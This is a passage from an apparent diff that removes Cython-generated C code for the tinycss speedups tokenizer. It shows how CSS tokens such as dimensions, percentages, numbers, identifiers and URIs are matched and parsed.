(PyTuple_GET_SIZE(sequence) > 3) __Pyx_RaiseTooManyValuesError(3); - else __Pyx_RaiseNeedMoreValuesError(PyTuple_GET_SIZE(sequence)); - {__pyx_filename = __pyx_f[0]; __pyx_lineno = 107; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - } - __pyx_t_7 = PyTuple_GET_ITEM(sequence, 0); - __pyx_t_6 = PyTuple_GET_ITEM(sequence, 1); - __pyx_t_9 = PyTuple_GET_ITEM(sequence, 2); - } else { - if (unlikely(PyList_GET_SIZE(sequence) != 3)) { - if (PyList_GET_SIZE(sequence) > 3) __Pyx_RaiseTooManyValuesError(3); - else __Pyx_RaiseNeedMoreValuesError(PyList_GET_SIZE(sequence)); - {__pyx_filename = __pyx_f[0]; __pyx_lineno = 107; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - } - __pyx_t_7 = PyList_GET_ITEM(sequence, 0); - __pyx_t_6 = PyList_GET_ITEM(sequence, 1); - __pyx_t_9 = PyList_GET_ITEM(sequence, 2); - } - __Pyx_INCREF(__pyx_t_7); - __Pyx_INCREF(__pyx_t_6); - __Pyx_INCREF(__pyx_t_9); - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - } else { - Py_ssize_t index = -1; - __pyx_t_10 = PyObject_GetIter(__pyx_t_1); if (unlikely(!__pyx_t_10)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 107; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_10); - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_11 = Py_TYPE(__pyx_t_10)->tp_iternext; - index = 0; __pyx_t_7 = __pyx_t_11(__pyx_t_10); if (unlikely(!__pyx_t_7)) goto __pyx_L11_unpacking_failed; - __Pyx_GOTREF(__pyx_t_7); - index = 1; __pyx_t_6 = __pyx_t_11(__pyx_t_10); if (unlikely(!__pyx_t_6)) goto __pyx_L11_unpacking_failed; - __Pyx_GOTREF(__pyx_t_6); - index = 2; __pyx_t_9 = __pyx_t_11(__pyx_t_10); if (unlikely(!__pyx_t_9)) goto __pyx_L11_unpacking_failed; - __Pyx_GOTREF(__pyx_t_9); - if (__Pyx_IternextUnpackEndCheck(__pyx_t_11(__pyx_t_10), 3) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 107; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; - goto __pyx_L12_unpacking_done; - __pyx_L11_unpacking_failed:; - __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; - if (PyErr_Occurred() && PyErr_ExceptionMatches(PyExc_StopIteration)) PyErr_Clear(); - if (!PyErr_Occurred()) __Pyx_RaiseNeedMoreValuesError(index); - {__pyx_filename = __pyx_f[0]; __pyx_lineno = 107; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __pyx_L12_unpacking_done:; - } - __pyx_t_12 = __Pyx_PyIndex_AsSsize_t(__pyx_t_7); if (unlikely((__pyx_t_12 == (Py_ssize_t)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 107; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; - __pyx_v_type_ = __pyx_t_12; - __Pyx_XDECREF(__pyx_v_type_name); - __pyx_v_type_name = __pyx_t_6; - __pyx_t_6 = 0; - __Pyx_XDECREF(__pyx_v_regexp); - __pyx_v_regexp = __pyx_t_9; - __pyx_t_9 = 0; - - /* "tinycss/speedups.pyx":108 - * codepoint = min(ord(char), 160) - * for type_, type_name, regexp in tokens_dispatch[codepoint]: - * match = regexp(css_source, pos) # <<<<<<<<<<<<<< - * if match: - * # First match is the longest. See comments on TOKENS above. - */ - __pyx_t_1 = PyInt_FromSsize_t(__pyx_v_pos); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 108; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_t_9 = PyTuple_New(2); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 108; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_9)); - __Pyx_INCREF(__pyx_v_css_source); - PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_v_css_source); - __Pyx_GIVEREF(__pyx_v_css_source); - PyTuple_SET_ITEM(__pyx_t_9, 1, __pyx_t_1); - __Pyx_GIVEREF(__pyx_t_1); - __pyx_t_1 = 0; - __pyx_t_1 = PyObject_Call(__pyx_v_regexp, ((PyObject *)__pyx_t_9), NULL); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 108; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __Pyx_DECREF(((PyObject *)__pyx_t_9)); __pyx_t_9 = 0; - __Pyx_XDECREF(__pyx_v_match); - __pyx_v_match = __pyx_t_1; - __pyx_t_1 = 0; - - /* "tinycss/speedups.pyx":109 - * for type_, type_name, regexp in tokens_dispatch[codepoint]: - * match = regexp(css_source, pos) - * if match: # <<<<<<<<<<<<<< - * # First match is the longest. See comments on TOKENS above. - * css_value = match.group() - */ - __pyx_t_3 = __Pyx_PyObject_IsTrue(__pyx_v_match); if (unlikely(__pyx_t_3 < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 109; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - if (__pyx_t_3) { - - /* "tinycss/speedups.pyx":111 - * if match: - * # First match is the longest. See comments on TOKENS above. - * css_value = match.group() # <<<<<<<<<<<<<< - * break - * else: - */ - __pyx_t_1 = PyObject_GetAttr(__pyx_v_match, __pyx_n_s__group); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 111; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_t_9 = PyObject_Call(__pyx_t_1, ((PyObject *)__pyx_empty_tuple), NULL); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 111; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_9); - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __Pyx_XDECREF(__pyx_v_css_value); - __pyx_v_css_value = __pyx_t_9; - __pyx_t_9 = 0; - - /* "tinycss/speedups.pyx":112 - * # First match is the longest. See comments on TOKENS above. - * css_value = match.group() - * break # <<<<<<<<<<<<<< - * else: - * # No match. - */ - goto __pyx_L10_break; - goto __pyx_L13; - } - __pyx_L13:; - } - /*else*/ { - - /* "tinycss/speedups.pyx":119 - * # ... but quotes at the start of a token are always matched - * # by STRING or BAD_STRING. So DELIM is any single character. - * type_ = DELIM # <<<<<<<<<<<<<< - * type_name = 'DELIM' - * css_value = char - */ - __pyx_v_type_ = __pyx_v_DELIM; - - /* "tinycss/speedups.pyx":120 - * # by STRING or BAD_STRING. So DELIM is any single character. - * type_ = DELIM - * type_name = 'DELIM' # <<<<<<<<<<<<<< - * css_value = char - * length = len(css_value) - */ - __Pyx_INCREF(((PyObject *)__pyx_n_u__DELIM)); - __Pyx_XDECREF(__pyx_v_type_name); - __pyx_v_type_name = ((PyObject *)__pyx_n_u__DELIM); - - /* "tinycss/speedups.pyx":121 - * type_ = DELIM - * type_name = 'DELIM' - * css_value = char # <<<<<<<<<<<<<< - * length = len(css_value) - * next_pos = pos + length - */ - __Pyx_INCREF(__pyx_v_char); - __Pyx_XDECREF(__pyx_v_css_value); - __pyx_v_css_value = __pyx_v_char; - } - __pyx_L10_break:; - __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - } - __pyx_L8:; - - /* "tinycss/speedups.pyx":122 - * type_name = 'DELIM' - * css_value = char - * length = len(css_value) # <<<<<<<<<<<<<< - * next_pos = pos + length - * - */ - __pyx_t_2 = PyObject_Length(__pyx_v_css_value); if (unlikely(__pyx_t_2 == -1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 122; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __pyx_v_length = __pyx_t_2; - - /* "tinycss/speedups.pyx":123 - * css_value = char - * length = len(css_value) - * next_pos = pos + length # <<<<<<<<<<<<<< - * - * # A BAD_COMMENT is a comment at EOF. Ignore it too. - */ - __pyx_v_next_pos = (__pyx_v_pos + __pyx_v_length); - - /* "tinycss/speedups.pyx":126 - * - * # A BAD_COMMENT is a comment at EOF. Ignore it too. - * if not (ignore_comments and type_ in (COMMENT, BAD_COMMENT)): # <<<<<<<<<<<<<< - * # Parse numbers, extract strings and URIs, unescape - * unit = None - */ - if (__pyx_v_ignore_comments) { - __pyx_t_2 = __pyx_v_type_; - __pyx_t_3 = ((int)(__pyx_t_2 == __pyx_v_COMMENT)); - if (!__pyx_t_3) { - __pyx_t_13 = ((int)(__pyx_t_2 == __pyx_v_BAD_COMMENT)); - __pyx_t_14 = __pyx_t_13; - } else { - __pyx_t_14 = __pyx_t_3; - } - __pyx_t_3 = __pyx_t_14; - __pyx_t_14 = __pyx_t_3; - } else { - __pyx_t_14 = __pyx_v_ignore_comments; - } - __pyx_t_3 = (!__pyx_t_14); - if (__pyx_t_3) { - - /* "tinycss/speedups.pyx":128 - * if not (ignore_comments and type_ in (COMMENT, BAD_COMMENT)): - * # Parse numbers, extract strings and URIs, unescape - * unit = None # <<<<<<<<<<<<<< - * if type_ == DIMENSION: - * value = match.group(1) - */ - __Pyx_INCREF(Py_None); - __Pyx_XDECREF(__pyx_v_unit); - __pyx_v_unit = Py_None; - - /* "tinycss/speedups.pyx":129 - * # Parse numbers, extract strings and URIs, unescape - * unit = None - * if type_ == DIMENSION: # <<<<<<<<<<<<<< - * value = match.group(1) - * value = float(value) if '.' in value else int(value) - */ - __pyx_t_3 = (__pyx_v_type_ == __pyx_v_DIMENSION); - if (__pyx_t_3) { - if (unlikely(!__pyx_v_match)) { __Pyx_RaiseUnboundLocalError("match"); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 130; __pyx_clineno = __LINE__; goto __pyx_L1_error;} }__pyx_t_5 = PyObject_GetAttr(__pyx_v_match, __pyx_n_s__group); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 130; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - - /* "tinycss/speedups.pyx":130 - * unit = None - * if type_ == DIMENSION: - * value = match.group(1) # <<<<<<<<<<<<<< - * value = float(value) if '.' in value else int(value) - * unit = match.group(2) - */ - __Pyx_GOTREF(__pyx_t_5); - __pyx_t_9 = PyObject_Call(__pyx_t_5, ((PyObject *)__pyx_k_tuple_6), NULL); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 130; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_9); - __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __Pyx_XDECREF(__pyx_v_value); - __pyx_v_value = __pyx_t_9; - __pyx_t_9 = 0; - - /* "tinycss/speedups.pyx":131 - * if type_ == DIMENSION: - * value = match.group(1) - * value = float(value) if '.' in value else int(value) # <<<<<<<<<<<<<< - * unit = match.group(2) - * unit = simple_unescape(unit) - */ - __pyx_t_3 = ((PySequence_Contains(__pyx_v_value, ((PyObject *)__pyx_kp_u_7)))); if (unlikely(__pyx_t_3 < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 131; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - if (__pyx_t_3) { - __pyx_t_15 = __Pyx_PyObject_AsDouble(__pyx_v_value); if (unlikely(__pyx_t_15 == ((double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 131; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __pyx_t_5 = PyFloat_FromDouble(__pyx_t_15); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 131; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_5); - __pyx_t_9 = __pyx_t_5; - __pyx_t_5 = 0; - } else { - __pyx_t_5 = PyTuple_New(1); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 131; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_5)); - __Pyx_INCREF(__pyx_v_value); - PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_v_value); - __Pyx_GIVEREF(__pyx_v_value); - __pyx_t_1 = PyObject_Call(((PyObject *)((PyObject*)(&PyInt_Type))), ((PyObject *)__pyx_t_5), NULL); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 131; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __Pyx_DECREF(((PyObject *)__pyx_t_5)); __pyx_t_5 = 0; - __pyx_t_9 = __pyx_t_1; - __pyx_t_1 = 0; - } - __Pyx_DECREF(__pyx_v_value); - __pyx_v_value = __pyx_t_9; - __pyx_t_9 = 0; - - /* "tinycss/speedups.pyx":132 - * value = match.group(1) - * value = float(value) if '.' in value else int(value) - * unit = match.group(2) # <<<<<<<<<<<<<< - * unit = simple_unescape(unit) - * unit = unicode_unescape(unit) - */ - __pyx_t_9 = PyObject_GetAttr(__pyx_v_match, __pyx_n_s__group); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 132; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_9); - __pyx_t_1 = PyObject_Call(__pyx_t_9, ((PyObject *)__pyx_k_tuple_8), NULL); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 132; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - __Pyx_DECREF(__pyx_v_unit); - __pyx_v_unit = __pyx_t_1; - __pyx_t_1 = 0; - - /* "tinycss/speedups.pyx":133 - * value = float(value) if '.' in value else int(value) - * unit = match.group(2) - * unit = simple_unescape(unit) # <<<<<<<<<<<<<< - * unit = unicode_unescape(unit) - * unit = unit.lower() # normalize - */ - __pyx_t_1 = PyTuple_New(1); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 133; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_1)); - __Pyx_INCREF(__pyx_v_unit); - PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_v_unit); - __Pyx_GIVEREF(__pyx_v_unit); - __pyx_t_9 = PyObject_Call(__pyx_v_simple_unescape, ((PyObject *)__pyx_t_1), NULL); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 133; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_9); - __Pyx_DECREF(((PyObject *)__pyx_t_1)); __pyx_t_1 = 0; - __Pyx_DECREF(__pyx_v_unit); - __pyx_v_unit = __pyx_t_9; - __pyx_t_9 = 0; - - /* "tinycss/speedups.pyx":134 - * unit = match.group(2) - * unit = simple_unescape(unit) - * unit = unicode_unescape(unit) # <<<<<<<<<<<<<< - * unit = unit.lower() # normalize - * elif type_ == PERCENTAGE: - */ - __pyx_t_9 = PyTuple_New(1); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 134; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_9)); - __Pyx_INCREF(__pyx_v_unit); - PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_v_unit); - __Pyx_GIVEREF(__pyx_v_unit); - __pyx_t_1 = PyObject_Call(__pyx_v_unicode_unescape, ((PyObject *)__pyx_t_9), NULL); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 134; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __Pyx_DECREF(((PyObject *)__pyx_t_9)); __pyx_t_9 = 0; - __Pyx_DECREF(__pyx_v_unit); - __pyx_v_unit = __pyx_t_1; - __pyx_t_1 = 0; - - /* "tinycss/speedups.pyx":135 - * unit = simple_unescape(unit) - * unit = unicode_unescape(unit) - * unit = unit.lower() # normalize # <<<<<<<<<<<<<< - * elif type_ == PERCENTAGE: - * value = css_value[:-1] - */ - __pyx_t_1 = PyObject_GetAttr(__pyx_v_unit, __pyx_n_s__lower); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 135; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_t_9 = PyObject_Call(__pyx_t_1, ((PyObject *)__pyx_empty_tuple), NULL); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 135; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_9); - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __Pyx_DECREF(__pyx_v_unit); - __pyx_v_unit = __pyx_t_9; - __pyx_t_9 = 0; - goto __pyx_L16; - } - - /* "tinycss/speedups.pyx":136 - * unit = unicode_unescape(unit) - * unit = unit.lower() # normalize - * elif type_ == PERCENTAGE: # <<<<<<<<<<<<<< - * value = css_value[:-1] - * value = float(value) if '.' in value else int(value) - */ - __pyx_t_3 = (__pyx_v_type_ == __pyx_v_PERCENTAGE); - if (__pyx_t_3) { - - /* "tinycss/speedups.pyx":137 - * unit = unit.lower() # normalize - * elif type_ == PERCENTAGE: - * value = css_value[:-1] # <<<<<<<<<<<<<< - * value = float(value) if '.' in value else int(value) - * unit = '%' - */ - __pyx_t_9 = __Pyx_PySequence_GetSlice(__pyx_v_css_value, 0, -1); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 137; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_9); - __Pyx_XDECREF(__pyx_v_value); - __pyx_v_value = __pyx_t_9; - __pyx_t_9 = 0; - - /* "tinycss/speedups.pyx":138 - * elif type_ == PERCENTAGE: - * value = css_value[:-1] - * value = float(value) if '.' in value else int(value) # <<<<<<<<<<<<<< - * unit = '%' - * elif type_ == NUMBER: - */ - __pyx_t_3 = ((PySequence_Contains(__pyx_v_value, ((PyObject *)__pyx_kp_u_7)))); if (unlikely(__pyx_t_3 < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 138; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - if (__pyx_t_3) { - __pyx_t_15 = __Pyx_PyObject_AsDouble(__pyx_v_value); if (unlikely(__pyx_t_15 == ((double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 138; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __pyx_t_1 = PyFloat_FromDouble(__pyx_t_15); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 138; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_t_9 = __pyx_t_1; - __pyx_t_1 = 0; - } else { - __pyx_t_1 = PyTuple_New(1); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 138; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_1)); - __Pyx_INCREF(__pyx_v_value); - PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_v_value); - __Pyx_GIVEREF(__pyx_v_value); - __pyx_t_5 = PyObject_Call(((PyObject *)((PyObject*)(&PyInt_Type))), ((PyObject *)__pyx_t_1), NULL); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 138; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(((PyObject *)__pyx_t_1)); __pyx_t_1 = 0; - __pyx_t_9 = __pyx_t_5; - __pyx_t_5 = 0; - } - __Pyx_DECREF(__pyx_v_value); - __pyx_v_value = __pyx_t_9; - __pyx_t_9 = 0; - - /* "tinycss/speedups.pyx":139 - * value = css_value[:-1] - * value = float(value) if '.' in value else int(value) - * unit = '%' # <<<<<<<<<<<<<< - * elif type_ == NUMBER: - * value = css_value - */ - __Pyx_INCREF(((PyObject *)__pyx_kp_u_9)); - __Pyx_DECREF(__pyx_v_unit); - __pyx_v_unit = ((PyObject *)__pyx_kp_u_9); - goto __pyx_L16; - } - - /* "tinycss/speedups.pyx":140 - * value = float(value) if '.' in value else int(value) - * unit = '%' - * elif type_ == NUMBER: # <<<<<<<<<<<<<< - * value = css_value - * if '.' in value: - */ - __pyx_t_3 = (__pyx_v_type_ == __pyx_v_NUMBER); - if (__pyx_t_3) { - - /* "tinycss/speedups.pyx":141 - * unit = '%' - * elif type_ == NUMBER: - * value = css_value # <<<<<<<<<<<<<< - * if '.' in value: - * value = float(value) - */ - __Pyx_INCREF(__pyx_v_css_value); - __Pyx_XDECREF(__pyx_v_value); - __pyx_v_value = __pyx_v_css_value; - - /* "tinycss/speedups.pyx":142 - * elif type_ == NUMBER: - * value = css_value - * if '.' in value: # <<<<<<<<<<<<<< - * value = float(value) - * else: - */ - __pyx_t_3 = ((PySequence_Contains(__pyx_v_value, ((PyObject *)__pyx_kp_u_7)))); if (unlikely(__pyx_t_3 < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 142; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - if (__pyx_t_3) { - - /* "tinycss/speedups.pyx":143 - * value = css_value - * if '.' in value: - * value = float(value) # <<<<<<<<<<<<<< - * else: - * value = int(value) - */ - __pyx_t_15 = __Pyx_PyObject_AsDouble(__pyx_v_value); if (unlikely(__pyx_t_15 == ((double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 143; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __pyx_t_9 = PyFloat_FromDouble(__pyx_t_15); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 143; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_9); - __Pyx_DECREF(__pyx_v_value); - __pyx_v_value = __pyx_t_9; - __pyx_t_9 = 0; - goto __pyx_L17; - } - /*else*/ { - - /* "tinycss/speedups.pyx":145 - * value = float(value) - * else: - * value = int(value) # <<<<<<<<<<<<<< - * type_name = 'INTEGER' - * elif type_ in (IDENT, ATKEYWORD, HASH, FUNCTION): - */ - __pyx_t_9 = PyTuple_New(1); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 145; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_9)); - __Pyx_INCREF(__pyx_v_value); - PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_v_value); - __Pyx_GIVEREF(__pyx_v_value); - __pyx_t_5 = PyObject_Call(((PyObject *)((PyObject*)(&PyInt_Type))), ((PyObject *)__pyx_t_9), NULL); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 145; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(((PyObject *)__pyx_t_9)); __pyx_t_9 = 0; - __Pyx_DECREF(__pyx_v_value); - __pyx_v_value = __pyx_t_5; - __pyx_t_5 = 0; - - /* "tinycss/speedups.pyx":146 - * else: - * value = int(value) - * type_name = 'INTEGER' # <<<<<<<<<<<<<< - * elif type_ in (IDENT, ATKEYWORD, HASH, FUNCTION): - * value = simple_unescape(css_value) - */ - __Pyx_INCREF(((PyObject *)__pyx_n_u__INTEGER)); - __Pyx_DECREF(__pyx_v_type_name); - __pyx_v_type_name = ((PyObject *)__pyx_n_u__INTEGER); - } - __pyx_L17:; - goto __pyx_L16; - } - - /* "tinycss/speedups.pyx":147 - * value = int(value) - * type_name = 'INTEGER' - * elif type_ in (IDENT, ATKEYWORD, HASH, FUNCTION): # <<<<<<<<<<<<<< - * value = simple_unescape(css_value) - * value = unicode_unescape(value) - */ - __pyx_t_2 = __pyx_v_type_; - __pyx_t_3 = ((int)(__pyx_t_2 == __pyx_v_IDENT)); - if (!__pyx_t_3) { - __pyx_t_14 = ((int)(__pyx_t_2 == __pyx_v_ATKEYWORD)); - __pyx_t_13 = __pyx_t_14; - } else { - __pyx_t_13 = __pyx_t_3; - } - if (!__pyx_t_13) { - __pyx_t_3 = ((int)(__pyx_t_2 == __pyx_v_HASH)); - __pyx_t_14 = __pyx_t_3; - } else { - __pyx_t_14 = __pyx_t_13; - } - if (!__pyx_t_14) { - __pyx_t_13 = ((int)(__pyx_t_2 == __pyx_v_FUNCTION)); - __pyx_t_3 = __pyx_t_13; - } else { - __pyx_t_3 = __pyx_t_14; - } - __pyx_t_14 = __pyx_t_3; - if (__pyx_t_14) { - - /* "tinycss/speedups.pyx":148 - * type_name = 'INTEGER' - * elif type_ in (IDENT, ATKEYWORD, HASH, FUNCTION): - * value = simple_unescape(css_value) # <<<<<<<<<<<<<< - * value = unicode_unescape(value) - * elif type_ == URI: - */ - __pyx_t_5 = PyTuple_New(1); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 148; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_5)); - __Pyx_INCREF(__pyx_v_css_value); - PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_v_css_value); - __Pyx_GIVEREF(__pyx_v_css_value); - __pyx_t_9 = PyObject_Call(__pyx_v_simple_unescape, ((PyObject *)__pyx_t_5), NULL); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 148; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_9); - __Pyx_DECREF(((PyObject *)__pyx_t_5)); __pyx_t_5 = 0; - __Pyx_XDECREF(__pyx_v_value); - __pyx_v_value = __pyx_t_9; - __pyx_t_9 = 0; - - /* "tinycss/speedups.pyx":149 - * elif type_ in (IDENT, ATKEYWORD, HASH, FUNCTION): - * value = simple_unescape(css_value) - * value = unicode_unescape(value) # <<<<<<<<<<<<<< - * elif type_ == URI: - * value = match.group(1) - */ - __pyx_t_9 = PyTuple_New(1); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 149; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_9)); - __Pyx_INCREF(__pyx_v_value); - PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_v_value); - __Pyx_GIVEREF(__pyx_v_value); - __pyx_t_5 = PyObject_Call(__pyx_v_unicode_unescape, ((PyObject *)__pyx_t_9), NULL); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 149; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(((PyObject *)__pyx_t_9)); __pyx_t_9 = 0; - __Pyx_DECREF(__pyx_v_value); - __pyx_v_value = __pyx_t_5; - __pyx_t_5 = 0; - goto __pyx_L16; - } - - /* "tinycss/speedups.pyx":150 - * value = simple_unescape(css_value) - * value = unicode_unescape(value) - * elif type_ == URI: # <<<<<<<<<<<<<< - * value = match.group(1) - * if value and value[0] in '"\'': - */ - __pyx_t_14 = (__pyx_v_type_ == __pyx_v_URI); - if (__pyx_t_14) { - if (unlikely(!__pyx_v_match)) { __Pyx_RaiseUnboundLocalError("match"); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 151; __pyx_clineno = __LINE__; goto __pyx_L1_error;} }__pyx_t_5 = PyObject_GetAttr(__pyx_v_match, __pyx_n_s__group); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 151; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - - /* "tinycss/speedups.pyx":151 - * value = unicode_unescape(value) - * elif type_ == URI: - * value = match.group(1) # <<<<<<<<<<<<<< - * if value and value[0] in '"\'': - * value = value[1:-1] # Remove quotes - */ - __Pyx_GOTREF(__pyx_t_5); - __pyx_t_9 = PyObject_Call(__pyx_t_5, ((PyObject *)__pyx_k_tuple_10), NULL); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 151; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_9); - __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __Pyx_XDECREF(__pyx_v_value); - __pyx_v_value = __pyx_t_9; - __pyx_t_9 = 0; - - /* "tinycss/speedups.pyx":152 - * elif type_ == URI: - * value = match.group(1) - * if value and value[0] in '"\'': # <<<<<<<<<<<<<< - * value = value[1:-1] # Remove quotes - * value = newline_unescape(value) - */ - __pyx_t_14 = __Pyx_PyObject_IsTrue(__pyx_v_value); if (unlikely(__pyx_t_14 < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 152; __pyx_clineno = __LINE__; goto 